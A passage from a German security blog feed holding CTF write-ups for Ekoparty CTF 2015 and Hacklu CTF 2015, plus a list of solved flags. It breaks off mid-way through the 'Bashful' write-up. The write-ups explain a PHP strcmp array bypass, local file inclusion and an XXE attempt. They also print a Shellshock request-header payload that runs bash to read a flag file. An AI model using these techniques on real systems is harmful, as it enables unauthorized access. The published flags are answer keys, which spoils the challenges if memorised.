</span><span class='line'>                char = switch[char]
</span><span class='line'>        newtext += char
</span><span class='line'>print(newtext)</span></code></pre></td></tr></table></div></figure>


<p>Nachdem wir auf diesem Weg die Aufgabe lösten, erhielten wir von <a href="https://twitter.com/nobbd">Denis</a> den Hinweis mit der Webseite <a href="http://quipqiup.com/index.php">quipqiup.com</a>, welche sofort die richtige Lösung fand.</p>

<h1>Joy 100: Highly professional</h1>

<p>Der einzige Unterschied zu der Musterlösung war, dass wir <a href="https://support.google.com/websearch/answer/1325808?hl=en">Google&#8217;s reverse image search</a> genutzt haben, um herauszufinden, dass es etwas mit der Serie <code>Mr.Robot</code> zu tun hat. Weiteres Googeln führte zu einem Wiki, in dem die Namen der drei Angestellten aufgelistet waren. Einer davon war die Flagge: <code>Gideon_Goddard</code></p>

<h1>Stegano 100: Pure color</h1>

<p>Die Beispiellösung nutzt MS Paint um die Hintergrundfarbe zu ändern. Wir haben GIMP genutzt und spielten mit den Farbkurven der Grundfarben Rot, Grün, Blau herum. Beim Bewegen der blauen Kurven in die rechte, untere Ecke erschien ein gelber Text auf dem Bild. Es war die Flagge: <code>flag_is_this_is_a_simple_stego</code></p>

<h1>Flags</h1>

<p>Hier ist eine Liste mit allen gelösten Challenges:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin200: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR
</span><span class='line'>crypt100: a day without blood is like a day without sunshine
</span><span class='line'>crypt200: remember_the_plaintext
</span><span class='line'>joy100: Gideon_Goddard
</span><span class='line'>web100: l375_$7ar7_w3b_h4ck5
</span><span class='line'>steg100: true_steganographers_doesnt_need_any_tools
</span><span class='line'>steg200: flag_is_this_is_a_simple_stego
</span><span class='line'>admin200: 4dm1n_1s_1mp0r74nt_m^^mk3y
</span><span class='line'>web200: n0t_0nly_1nj3ct10ns_4r3_d4ng3r0us
</span><span class='line'>exploit100: thanks_god_we_got_not_only_binaries
</span><span class='line'>ppc200: flag_1s_1t_w@s_t00_easy
</span><span class='line'>joy200: flag_is_dont_let_apples_hit_your_brain (strings on level0)
</span><span class='line'>ppc400: ~y@y_I_cod3d_!7_^^
</span><span class='line'>web400: U_c4n_b3_v3ry_us3ful_0n_upc0m1ng_3l3ct10ns
</span><span class='line'>admin300: Flag_is_{7Ru3_4dM1n_C4N_D0_4Ny7h1NG_Fr0M_C0MM4nD_L1N3}
</span><span class='line'>exploit300: every_haxor_loves_EvAlS</span></code></pre></td></tr></table></div></figure>


<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Ekoparty CTF 2015 - Writeups]]></title>
    <link href="https://www.internetwache.org/ekoparty-ctf-2015-writeups-24-10-2015/"/>
    <updated>2015-10-24T22:39:00+02:00</updated>
    <id>https://www.internetwache.org/ekoparty-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>Am Abend nach dem Hacklu CTF hatte Sebastian den Drang erneut ein paar Challenges zu lösen. Auf Ctftime.org wurde der <a href="https://ctftime.org/event/247">ekoparty CTF 2015</a> als erster Eintrag angezeigt und es war noch ein Tag Zeit um mitzuspielen. In diesem Blogpost wird Sebastian seine Lösungen für die folgenden Challenges beschreiben:</p>

<ul>
<li>Slogans ( Trv 50)</li>
<li>SSL Attack (Trv 90)</li>
<li>Blocking truck (Trv 100)</li>
<li>Pass Check (Web 50)</li>
<li>XOR Crypter (Cry 200)</li>
<li>Press it (Misc 100)</li>
</ul>


<p>Außerdem noch ein paar Notizen zu anderen Challenges, die er sich angeschaut hat.</p>

<!-- more -->


<p>Ich wünschte ich hätte mehr Zeit für diesen CTF gehabt. Einige Challenges sahen sehr viel versprechend aus und es hat mal wieder viel Spaß gemacht:</p>

<h1>Slogans</h1>

<p>Die Aufagbe bestand darin, die Slogans der Ekopartys 2008 &amp; 2009 herauszufinden.</p>

<p>Da der jeweilige Slogan sehr prominent auf der Webseite angezeigt wird, war meine erste Idee die <a href="https://web.archive.org/web/*/ekoparty.org">wayback machine</a> zu nutzen, um die Webseiten in der Vergangenheit zu betrachten. Allerdings gab es keine Einträge für das Jahr 2008, sodass ich mich entschied, das allwissende Google zu fragen. Ich nutzte folgende Suchanfrage:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>intext:ekoparty intext:2008 intext:slogan</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/trv50-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv50-1.png" alt="Sceenshot of google dork" title="Slogans google dork" /></a></p>

<p>Der erste Treffer war ein Blogpost, welcher die gesuchten Informationen enthielt:</p>

<p><a rel="fancybox"href="/images/posts/trv50-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv50-2.png" alt="Sceenshot of ekoparty slogans 2008 and 2009" title="Slogans ekoparty 2008/2009" /></a></p>

<p>Die akzeptierte Flagge war: <code>EKO{Vi root y entre_What if r00t was one of us?}</code></p>

<h1>SSL Attack</h1>

<p>Bei dieser Challenge sollte man den Namen eines auf einer Ekoparty vorgestellten SSL-Angriffes finden.</p>

<p>Auch diesmal half uns etwas Google-Zauberei (<code>intext:ekoparty intext:ssl</code>), denn dies listete einige Webseiten mit den bekannten Angriffen <code>BREACH</code>, <code>CRIME</code> und <code>BEAST</code>. Die letzte Abkürzung war die korrekte Flagge:</p>

<p><a rel="fancybox"href="/images/posts/trv90.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv90.png" alt="BEAST SSL attack presented auf ekoparty" title="BEAST auf ekoparty" /></a></p>

<p>Flagge: <code>EKO{BEAST}</code></p>

<h1>Blocking truck</h1>

<p>Die Beschreibung gab an, dass vor dem Eingang ein blauer Truck stehen würde. Die korrekte Flagge sei die URL auf diesem.</p>

<p>Zunächst dachte ich, dass ich diese Challenge nicht lösen könnte, da ich nicht vor Ort bei der Veranstaltung war, sondern vor meinem Laptop in Berlin saß. Allerdings bezweifelte ich, dass es eine Challenge geben würde, die nur von anwesenden Teams gelöst werden könnte. Ich probierte also mein Glück mit Google Maps und siehe da: Mit Hilfe von Streetview konnte ich mir den Truck anschauen und die URL ablesen.</p>

<p><a rel="fancybox"href="/images/posts/trv100.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/trv100.png" alt="Streetview of blue truck at ekoparty" title="Blue truck ekoparty" /></a></p>

<p>Die Domain war ein wenig unscharf, aber das Eintippen von <code>desimonehnos.com.ar</code> führte zur korrekten Webseite. In der ersten Version der Aufgabe wurde von <code>url to contact</code> gesprochen, sodass ich einige Versuche benötigte, um herauszufinden, dass die Landing-Page genügte.</p>

<p>Flagge: <code>EKO{http://www.desimonehnos.com.ar}</code> oder <code>EKO{www.desimonehnos.com.ar}</code> (Kann mich nicht mehr genau daran erinnern&#8230;)</p>

<h1>Pass check</h1>

<p>Das war die erste Web-Challenge. Sie sah nicht nur toll aus, sondern machte auch noch schöne Geräusche beim Eintippen eines Passworts ;)</p>

<p><a rel="fancybox"href="/images/posts/web50-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/web50-2.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>Die Geräusche und das Geblinke waren schön, hatten allerdings nicht mit der Lösung zu tun. Ich startete BurpSuite und schaute mir den AJAX-Request an. Nach ein paar einfachen Versuchen ersetzte ich <code>password=test</code> mit <code>password[]=test</code> und daraufhin war die Applikation so nett mir die Flagge zu nennen.</p>

<p><a rel="fancybox"href="/images/posts/web50.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/web50.png" alt="Screenshof of pass check input box" title="Pass check input" /></a></p>

<p>Flagge: <code>EKO{strcmp_not_s0_s4fe}</code></p>

<p>Die Funktion <code>strcmp</code> ist nicht für Vergleiche von Objekten, die keine Strings sind, geeignet. Eine interessante Auflistung kann auf <a href="http://php.net/manual/de/function.strcmp.php#108563">php.net</a> gefunden werden.</p>

<h1>XOR Crypter</h1>

<p>Gegeben war der folgende String <code>CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=</code> und <a href="https://paste.internetwache.org/?fe5bd7f932675a78#681dnB8WTmHKFNFWtk8i+6FGRjYvl4dmbaUgxlMynKY=">Python Quellcode</a>.</p>

<p>Der String ist offensichtlich base64 kodiert, aber eine Dekodierung führte zu einem wenig sinnvollen Ergebnis: <code>0O{sh1_t7_uhiabe}</code>. Also musste ich doch auf den Quelltext gucken. Der Kodierungsalgorithmus verlängert die Daten auf eine durch 4 teilbare Länge. Danach werden die Daten in Stücke von 4 Byte geteilt. Jeder Block wird mit der nach 16 nach rechts geshifteten Version seiner selbst gexored. In Python kommt die Operation <code>&gt;&gt;</code> vor <code>^</code>. Die letzte Operation besteht darin, jeden Block zu packen und das Ergebnis mit base64 zu kodieren.</p>

<p>Das Hauptproblem hier ist die Nutzung von XOR in Kombination mit dem rechts-shift. Hier ist eine Handsimulation des Vorganges:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># 1001 &gt;&gt; 2 (9 shifted by 2 adds zeros to the beginning and the result is 0010 = 2)
</span><span class='line'># 0010 ^ 1001 (2 xored 9 is 1011 = 11; This is the result of our encryption.)
</span><span class='line'>
</span><span class='line'># 1011 &gt;&gt; 2 (11 shifted by 2 is 0010 = 2)
</span><span class='line'># 0010 ^ 1011 (11 xored with 2 is 1001 = 9)
</span><span class='line'># 1001</span></code></pre></td></tr></table></div></figure>


<p>Man beachte, dass bei einem Rechtsshift um N bits, die ersten N bits des Ergebnisses dieselben sind wie die Eingabe. Die Umkehrbarkeit von XOR (<code>(Y ^ U) ^ U = Y</code>) hilft uns bei der Wiederherstellung des verbleibenden Blockanteils. Die anderen Operationen (base64-Kodierung, Ein-/Auspacken) müssen einfach in verkehrter Reihenfolge ausgeführt werden. Hier ist der Link zu <a href="https://paste.internetwache.org/?0e0df3fd47f3d1d3#7HbbpGSW5XE9JYc3KWML7jekitt0d7XTS1s+jXCKrUY=">meinem kleinen Python Script</a> [Ich habe ein paar print/debug Ausdrücke hinzugefügt]</p>

<p><a rel="fancybox"href="/images/posts/crpt-200.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/crpt-200.png" alt="Screenshof of XOR crypter output" title="Crypto 200 challenge" /></a></p>

<p>Flagge: <code>EKO{unshifting_the_unshiftable}</code></p>

<h1>Press it</h1>

<p>Meiner Meinung nach war dies die interessanteste Challenge. Man sollte die Flagge aus der <a href="https://paste.internetwache.org/?73c1ef35da87a37b#cVk1cCjWHaIyInZVzqLMAKiQhRELSDA05gXbV9/+Bpg=">folgenden Datei</a> extrahieren: 05gXbV9/+Bpg=).</p>

<p>Zunächst dachte ich, dass es sich um zufällige Hexzahlen handelt, aber dann erinnerte ich mich an das Format/layout. Ich sah es als ich <code>/usr/bin/showkey</code> ausführte, um die <a href="https://ctftime.org/task/1779">dr.bob hacklu 2015 challenge</a> zu lösen. Ich öffnete tty2 auf meiner Maschine und startete <code>showkey -s</code> und es gab ähnliche Hexzahlen aus als ich Tasten drückte.</p>

<p>Ich googelte nach einem Programm oder einem Tool, welches den Dump automatisch wieder umkehren und mir die gedrückten Tasten ausgeben würde. Leider ohne Erfolg, also musste man selbst Hand anlegen.</p>

<p>Ich las mich durch die Showkey Manpage und lernte, dass diese Codes <code>Scancodes</code> genannt werden und diese pro Taste/Zeichen eindeutig sind. Pro Taste gibt es zwei Codes: Einen, wenn die Taste gedrückt wird, und einen wenn diese wieder losgelassen wird.</p>

<p>Der letzte Fakt ist entscheidend, denn ich versuchte erst jedes Zeichen einzeln zu behandeln und dies führte zu einem <a href="https://paste.internetwache.org/?f03edcacb49ea59e#dy38GM5s5NopfiiIPmFDofx+rp8LyJYWc/TPL4jx+Pg=">komischen Ergebnis</a>. Alle <code>?</code> oder leere Codes sind wahrscheinlich Loslass-Codes. Zusätzlich musste ich auf die harte Tour lernen, dass auch Kombinationen von Codes möglich sind. Zum Beispiel <code>0xe0 0x38</code> steht für die linke Alt-Taste. Microsoft hat eine gute <a href="http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/scancode.doc">Übersicht mit Scancode-Zuweisungen</a></p>

<p>Nachdem ich alle Scancodes ein zweites Mal durchgearbeitet habe, stand folgendes Ergebnis in meinen Notizen:  <code>This is it. EKO{ibm_model_m}</code></p>

<p>Flagge: <code>EKO{ibm_model_m}</code></p>

<h1>Weitere Challenges/Notizen</h1>

<p>Wie immer habe ich auch einen Blick auf andere Challenges geworfen, diese probiert zu lösen, aber bin dann irgendwie irgendwo stecken geblieben und kam nicht weiter. Ich bin ein wenig enttäuscht, dass ich Mr Anderson (Ich kenne den Film nicht, aber die Lösung sollte nicht so schwer sein?), Custom ACL (Ich habe hier viel Zeit verwendet - wahrscheinlich fehlt nur eine winziger Schritt) nicht lösen konnte.</p>

<h2>Mr Anderson (Trv 80)</h2>

<ul>
<li>Mr Anderson und <code>last serie</code> deuten auf <code>Mr.Robot</code></li>
<li>Ich verstehe den <code>favority music artist</code> Hinweis nicht. Ich probierte ein paar Soundtracks der letzten Episode. Kein Erfolg</li>
<li>Nicht genügend Motivation um alle möglichen Künstler zu brute-forcen.</li>
</ul>


<h2>Custom ACL (Web 100)</h2>

<ul>
<li>Entdeckung des Sources für <code>admin.php</code> unter <code>admin.phps</code> (<a href="https://paste.internetwache.org/?b42a1f2e04489a90#LdNAQ2gCgnQELttCTli4nU1MFOQxBNOtwJBWmwsRtJU=">Pastebin</a>)</li>
<li>Versuch die REMOTE_ADDR mit <code>X-Forwarded-For</code> &amp; co zu spoofen bis man lernt, dass dies wirklich nur die IP der TCP-Verbindung ist.</li>
<li>Nmap gegen die IP-Range <code>67.222.139.223-230</code> gestartet und Ergebnis ist ein Host mit ein paar interessanten Posts (<a href="https://paste.internetwache.org/?e002c0a0f9a1aa52#uQlYrlmFfmHipnn2hss5r4yhPYfMcrFxpZDhKlYDx4c=">Pastebin</a>)</li>
<li>Versuche diesen als Proxy zu nutzen schlägt mit dem Fehler <code>501 method "GET/POST/Whatever" not supported</code> fehl</li>
<li>Bermeken den <code>Server: pve-api-daemon/3.0</code>-Header, aber finden nicht heraus, wie man diesen (mis)brauchen kann.</li>
<li>Nicht genügend Zeit, um weiter darüber nachzudenken.</li>
</ul>


<h2>Crazy JSON (Web 300)</h2>

<ul>
<li><code>evaluator.js</code> fehlt auf dem Server</li>
<li>HTTP Response enthält interessantes JSON (<a href="https://paste.internetwache.org/?f792df2675f9997a#6Vj2a1SdqdulQYnq25WgivcJ710xCZ/cJQLOmqeJHjs=">Pastebin</a>)</li>
<li><code>new Ajsone()</code> Aufruf. Google führt zu einem <a href="https://github.com/alokmenghrajani/alokmenghrajani.github.com/tree/master/ajsone">github repository</a> mit einem Demo/Test-Bereich .</li>
<li>Xor (<code>^</code>) ist nicht implementiert. Implementiere es.</li>
<li>Passwort muss 32 Zeichen lang sein, aber weitere Evaluirungen führen zu einem <code>error inf loop?</code>.</li>
<li>Auch hier wird die Zeit knapp. Nichtdestotrotz interessant.</li>
</ul>


<h2>SVG Viewer (Web 400)</h2>

<ul>
<li>Hochladen von SVG mit XXE testvector -> <code>Entity declaration detected</code>  Fehler</li>
<li>Versuch, eigene, externe DTD zu nutzen, um diesen Check zu umgehen. Funktioniert nicht wirklich wie gedacht. Wechsel zu einer anderen Aufgabe</li>
</ul>


<h2>Olive (Misc 50)</h2>

<ul>
<li>Pcap mit traffic</li>
<li>Viel VNC traffic / Http traffic möglicherweise uninteressant</li>
<li>Extrahieren VNC traffic in eine Datei. Sie nach einem RFB (remote frame buffer) aus</li>
<li>Suchen eine Programm, um dies wiederzugeben. Weder rfbproxy noch vncreplay funktionieren mit den extrahierten Daten.</li>
<li>Keine Ideen mehr, wie man RFB anzeigen/wiedergeben kann.</li>
</ul>


<p>Auch diesmal vielen Dank für diesen wunderbaren CTF :)</p>

<p>Sebastian</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Hacklu CTF 2015 Writeups]]></title>
    <link href="https://www.internetwache.org/hacklu-ctf-2015-writeups-22-10-2015/"/>
    <updated>2015-10-22T13:45:00+02:00</updated>
    <id>https://www.internetwache.org/hacklu-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p>Während den letzten beiden Tagen wurde das <a href="https://ctftime.org/event/244">Hacklu CTF 2015</a> veranstaltet. Dabei handelt es sich um ein CTF (Capture the Flag) im jeopardy-Stil und Sebastian hat sein Glück einfach einmal versucht ;) In diesem Blogpost werden die folgenden Herausforderungen genauer beschrieben:</p>

<ul>
<li>Module Loader (Web, 100)</li>
<li>PHP Golf (Coding, 75)</li>
<li>Guessthenumber (Coding, 150)</li>
<li>Bashful (Web, 200)</li>
</ul>


<!-- more -->


<p>Zunächst einmal sei gesagt, dass CTF eine Menge Spaß bereiten können, besonders, wenn es einige knifflige Rätsel zu lösen gilt. Wenn man also noch nicht an einem CTF teilgenommen hat, dann sollte das dringend nachgeholt werden :). Aktuelle Infos zu CTFs finden sich unter: <a href="https://ctftime.org">ctftime.org</a>
Während diesem Capture the Flag hat Sebastian mit <a href="https://twitter.com/nobbd">Denis</a> und <a href="https://twitter.com/mazen160">Mazen160</a> zusammengearbeitet. Wenn man im Team arbeitet kann man sich gut ergänzen und einiges dazulernen.</p>

<h1>Module Loader</h1>

<p>Die erste Challenge war eine Aufgabe zum Aufwärmen: Eine Webapplikation nahm folgenden GET Parameter entgegen:  <code>$_GET['module']</code> und führte das darin übergebene Modul aus. Nach einem Blick in den Quellcode wusste man, wo sich die betreffenden Module befanden.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-1.png" alt="Bildschirmfoto vom Modul Loader im HTML Quellcode" title="Modul Loader im HTML Quelltext" /></a></p>

<p>Der Ordner <code>/modules/</code> besaß eingeschaltetes Verzeichnis-Listing, weshalb es ohne weiteres möglich war, Zugriff auf weitere Module zu erhalten (deren Namen lassen sich einfach aus den Listing entnehmen).</p>

<p><a rel="fancybox"href="/images/posts/module-loader-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-2.png" alt="Bildschirmfoto des eingeschalteten Verzeichnnis-Listing" title="Verzeichnis-Listing im Ordner: modules" /></a></p>

<p>Es war zudem möglich mittels Klick auf die einzelnen Module den Quelltext dieser zu betrachten - das erwies sich allerdings nicht als besonders nützlich. Durch Manipulation des Pfades sollte in einem nächsten Schritt ermittelt werden, ob die Webapplikation gegen eine sogenannte Local File Inclusion (LFI) anfällig war und dadurch Manipulationen möglich werden:</p>

<p><a rel="fancybox"href="/images/posts/module-loader-3.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-3.png" alt="Bildschirmfoto der local file inclusion (LFI)" title="local file inclusion (LFI) innerhalb des Modul Loaders" /></a></p>

<p>Das war schon einmal eine interessante Sache. Denis kam auf die Idee die <code>.htaccess</code>-Datei des Wurzelverzeichnisses einzubinden - gesagt, getan.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-4.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-4.png" alt="Bildschirmfoto der .htaccess-Datei des Modul Loaders" title="Modul Loader mit .htaccess" /></a></p>

<p>Der letzte Schritt war es die Datei <code>flag.php</code>aus dem Verzeichnis einzubinden.</p>

<p><a rel="fancybox"href="/images/posts/module-loader-5.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/module-loader-5.png" alt="Bildschirmfoto der Flag des Modul Loaders" title="Flag des Modul Loaders" /></a></p>

<p>Bei einem CTF ist eine Challenge mit dem erlangen der Flag abgeschlossen - das Vorgehen war also erfolgreich und zum &#8220;Warmwerden&#8221; allemal geeignet. :)</p>

<h1>PHP Golf</h1>

<p>Die nächste Challenge war extrem interessant, denn es ging darum für folgende Konditionen ein Programm in PHP zu entwerfen:</p>

<p><a rel="fancybox"href="/images/posts/php-golf-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/php-golf-1.png" alt="Bildschirmfoto der PHP Golf Aufgabe" title="PHP Golf Aufgabe" /></a></p>

<p>Zunächst wurde der Code ohne Berücksichtigung der Längenbeschränkung implementiert. Das Programm tat vermutlich das was es sollte, war allerdings zu lang - man musste zum Absolvieren der Challenge also reguläre Ausdrück nutzen.</p>

<p>Die nächste Version enthielt reguläre Ausdrücke und <code>preg_replace</code> mit einem <code>e</code> Modifier, um Groß- und Kleinschreibung entsprechend zu behandeln:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=preg_replace('/(\w)([^\w]*)(\w)?/e',"strtoupper('$1').'$2'.strtolower('$3')", $argv[1]);?&gt;</span></code></pre></td></tr></table></div></figure>


<p>Mit über 90 Zeichen war diese Version leider immernoch zu lang. In dem Moment war klar, dass die langen Funktionsaufrufe <code>strtoupper</code> / <code>strtolower</code> verkürzt werden müssen.
Die Lösung sind sogenannte <a href="http://www.regular-expressions.info/unicode.html">unicode character properties</a>. Leider war es nicht möglich diese mit dem <code>replacement</code>
Parameter der <code>preg_match</code> Funktion zu nutzen, sodass es erneut mit Perl versucht wurde:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo '$argv[1]'|perl -pe 's~(\w)([^\w]*)(\w)?~\U\\1\E\\2\L\\3\E~g'");?&gt;</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Der Trick ist, dass alles zwischen <code>\U</code> und <code>\E</code> in Großbuchstaben umgewandelt wird. <code>\L</code> wandelt entsprechend in Kleinbuchstaben um. Leider war <code>perl</code> auf dem Submission-Server
nicht verfügbar und der Payload war mit 80 Zeichen immer noch zu lang. Allerdings konnten wir mit <code>exec</code> und beliebigen Kommandos weiterarbeiten.
Der nächste Gedanke fiel auf das Tool  <code>sed</code>. Wie auch immer, es war bereits 2 Uhr morgens und wir entschieden uns nach Festhalten des Ansatzes auf der Mailingliste ins Bett zu gehen, um uns am nächsten Tag mit frischem Kopf  der Aufgabe anzunehmen.</p>

<p>Am nächsten Morgen hatte Denis dann bereits eine funktionsfähige Lösung erarbeitet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;?=exec("echo $argv[1]|sed -r 's/(\w)(\W*\w?)/\U\\1\L\\2/g'"); </span></code></pre></td></tr></table></div></figure>


<p>Einige Erklärungen zu dieser Lösung:</p>

<ul>
<li><code>[^\w]</code> ist dasselbe wie <code>\W</code></li>
<li><code>&lt;?=</code> ist dasselbe wie <code>&lt;? echo</code></li>
<li>Man kann <code>?&gt;</code> weglassen, wenn der Code mit einem Semikolon abgeschlossen wird.</li>
</ul>


<p>Diese Lösung hatte jedoch Probleme mit Unterstrichen <code>_</code> im originalen String, aber nach einige Versuchen entstand ein Exemplar ohne diese und wir erhielten die Flagge :).</p>

<p><a rel="fancybox"href="/images/posts/php-golf-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/php-golf-2.png" alt="Sceenshot of php golf solution" title="PHP golf solution" /></a></p>

<p>Fertig</p>

<h1>Guessthenumber</h1>

<p>Die Aufgabe dieser Challenge war: Hundert Zahlen in der richtigen Reihenfolge zu raten.</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/guessthenumber-2.png" alt="Sceenshot of guessthenumber task" title="Guessthenumber task" /></a></p>

<p>Die folgenden Hinweise wurden gegeben:</p>

<ul>
<li>Der Server nutzt einen <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Linear congruential generator</a></li>
<li>Es werden die <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator#Parameters_in_common_use">Standard glibc Parameter</a></li>
<li>Es wird mit dem Python strftime Format <code>YmdHMS</code> initialisiert</li>
<li>Nur Zahlen zwischen 0 und 99 (inklusive)</li>
</ul>


<p>Es erschien am Einfachsten die Lösung mit Python umzusetzen, also googelten wir nach einer LCG Implementierung/Bibliothek und entdeckten <a href="http://pcg.wikidot.com/pcg-algorithm:linear-congruential-generator">dieses Beispiel</a>.
Der nächste Schritt bestand darin, die Paramter entsprechend den Vorgaben anzupassen und den grundlegenden Server/Client Kommunikationscode zu schreiben. Soweit ganz einfach.</p>

<p>Der Server teilte uns immer seine aktuelle Zeit mit. Diese hatte wahrscheinlich irgendwas mit dem Initialisierungsformat <code>YmdHMS</code> zu tun. Nach dem Extrahieren aller nötigen Informationen mit regulären Ausdrücken, konkatenierten wir diese folgendermaßen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>    timedata=str(year)+str(month)+str(day)+str(hour)+str(minute)+str(second)
</span><span class='line'>    seed(int(timedata))</span></code></pre></td></tr></table></div></figure>


<p>Die letzte wichtige Aufgabe bestand darin, den Modulo-Operator auf die erzeugten Zahlen anzuwenden. Sowohl 0 als auch 99 sind im gültigen Zahlenbereich, sodass wir <code>rnd() %100</code> nutzen müssen.</p>

<p>Unglücklicherweise löste dieser Ansatz die Challenge nicht, da der erste Versuch immer falsch war. Es stellte sich heraus, dass man 100 Zahlen generieren und diese in umgekehrter Reihenfolge senden musste.</p>

<p><a rel="fancybox"href="/images/posts/guessthenumber-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/guessthenumber-1.png" alt="Sceenshot of guessthenumber flag" title="Guessthenumber flag" /></a></p>

<p>Der komplette &#8220;quick &amp; dirty code&#8221;: <a href="https://paste.internetwache.org/?eba167b215da9a31#jXXbtgZwnAxupMgWqrHPrxfaIlQO78mljeXU0rbS/9w=">Pastebin</a></p>

<p>Fertig :)</p>

<h1>Bashful</h1>

<p>An dieser Challenge haben wir die meiste Zeit verbracht, weil es viel Mühe gekostet hat. Mazen stieg bei dieser Challege mit ein. Okay, aber alles nacheinander. Bashful ist eine Webapplikation die in Bash geschrieben wurde, um Notizen speichern zu können.</p>

<p>Hier wird zunächst die finale Lösung gepostet, bevor andere Lösungsideen diskutieret werden. Dabei ist immernoch nicht sicher, ob diese Lösung beabsichtigt war, in jedem Fall funktioniert sie gut ;)</p>

<p><a rel="fancybox"href="/images/posts/bashful-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/bashful-2.png" alt="Screen of bashful flag extraction" title="Bashful flag" /></a></p>

<p>Wie man sehen kann, war es möglich einen <a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug">Shellshock</a>) Payload in den Request Headern unterzubringen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>X-Foo: () { :;}; /bin/bash -c "cat /var/www/flag"</span></code></pre></td></tr></table></div></figure>


<p><em>Psst: Es gab sogar eine XSS Lücke, in dem man den XSS Payload in den Headern versteckte :D</em></p>

<p>Die Lösung ist recht enttäuschend. Man hatte so viel Spaß mit dem Quelltext, und bei dessen Durchsicht fiel mir folgende drei Funktionen auf:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>function explode {
</span><span class='line'>        IFS="$1" read -ra "$2" &lt;&lt;&lt; "$3"
</span><span class='line'>}
</span><span class='line'>function filter_nonalpha {
</span><span class='line'>        echo $(echo $1 | sed 's/[^a-zA-Z0-9.!$;?_]//g')
</span><span class='line'>}
</span><span class='line'>function parse {
</span><span class='line'>        explode '&' 'pairs' "$1"
</span><span class='line'>        for pair in "${pairs[@]}"; do
</span><span class='line'>
</span><span class='line'>            explode '=' 'keyval' "$pair"
</span><span class='line'>
</span><span class='line'>            export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"
</span><span class='line'>
</span><span class='line'>    done}
</span></code></pre></td></tr></table></div></figure>


<p>Diese Funktionen wurden später zum Parsen der Benutzereingaben verwendet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v QUERY_STRING ]; then
